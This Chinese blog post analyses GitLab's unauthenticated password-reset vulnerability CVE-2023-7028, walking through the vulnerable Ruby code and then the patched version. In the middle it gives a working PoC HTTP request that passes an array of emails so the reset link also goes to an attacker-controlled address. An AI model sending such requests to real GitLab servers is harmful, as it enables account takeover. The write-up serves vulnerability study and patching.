浅析Gitlab未授权密码重置(CVE-2023-7028)
可以看到在原来的逻辑当中app/models/concerns/recoverable_by_any_email.rb
123456789101112131415161718192021222324252627282930313233343536 |
module RecoverableByAnyEmail extend ActiveSupport::Concern class_methods do def send_reset_password_instructions(attributes = {}) email = attributes.delete(:email) super unless email recoverable = by_email_with_errors(email) recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted? recoverable end private def by_email_with_errors(email) record = find_by_any_email(email, confirmed: true) || new record.errors.add(:email, :invalid) unless record.persisted? record end end def send_reset_password_instructions(opts = {}) token = set_reset_password_token send_reset_password_instructions_notification(token, opts) token end private def send_reset_password_instructions_notification(token, opts = {}) send_devise_notification(:reset_password_instructions, token, opts) endend |
首先获取参数email
,通过by_email_with_errors
方法查找用户,如果未找到用户也会向记录中添加错误,接下来我们具体看看find_by_any_email
方法,如果email
参数存在则继续向下执行by_any_email
方法
12345 |
def find_by_any_email(email, confirmed: false) return unless email by_any_email(email, confirmed: confirmed).takeend |
在这里我们也不必要梳理具体的逻辑,从by_user_email
的参数我们可以看出,它通过iwhere
去查找对应的记录,同时我们可以发现从参数类型可以看到它是支持数组的!如果记录存在就会触发密码重置邮件的发送。
12345678910111213141516171819202122232425262728 |
def by_any_email(emails, confirmed: false) from_users = by_user_email(emails) from_users = from_users.confirmed if confirmed from_emails = by_emails(emails).merge(Email.confirmed) from_emails = from_emails.confirmed if confirmed items = [from_users, from_emails] user_ids = Gitlab::PrivateCommitEmail.user_ids_for_emails(Array(emails).map(&:downcase)) items << where(id: user_ids) if user_ids.present? from_union(items)endxxx省略xxxscope :by_user_email, -> (emails) { iwhere(email: Array(emails)) }scope :by_emails, -> (emails) { joins(:emails).where(emails: { email: Array(emails).map(&:downcase) }) }scope :for_todos, -> (todos) { where(id: todos.select(:user_id).distinct) }scope :with_emails, -> { preload(:emails) }scope :with_dashboard, -> (dashboard) { where(dashboard: dashboard) }scope :with_public_profile, -> { where(private_profile: false) }scope :with_expiring_and_not_notified_personal_access_tokens, ->(at) do where('EXISTS (?)', ::PersonalAccessToken .where('personal_access_tokens.user_id = users.id') .without_impersonation .expiring_and_not_notified(at).select(1) ) |
因此我们不难构造其poc
12345 |
POST /users/password HTTP/1.1Host: 118.195.225.92:8090User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36authenticity_token=GNymVmxzUZVZrVqQS5cCtrlDwdbdGpmh4v4ojIqKc1r_yUalsQ7K5QclCQihuK88E2lJvcMGcPr5E4uJH1qtGw&user[email][][email protected]&user[email][]=47.109.68.247:1234/[email protected] |
简单看一下修复后的代码,虽然代码变动还是蛮大的,但是我们不难发现有一点,在查询时调用了attributes[:email].to_s
,这个to_s
其实就会将其转换为字符串,也避免了数组的问题,后面还有些其他的改动当然不是很重要,有兴趣自己看看
12345678910111213141516171819202122232425262728293031 |
module RecoverableByAnyEmail extend ActiveSupport::Concern class_methods do def send_reset_password_instructions(attributes = {}) return super unless attributes[:email] email = Email.confirmed.find_by(email: attributes[:email].to_s) return super unless email recoverable = email.user recoverable.send_reset_password_instructions(to: email.email) recoverable end end def send_reset_password_instructions(opts = {}) token = set_reset_password_token send_reset_password_instructions_notification(token, opts) token end protected def send_reset_password_instructions_notification(token, opts = {}) send_devise_notification(:reset_password_instructions, token, opts) endend |
- source:y4tacker
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论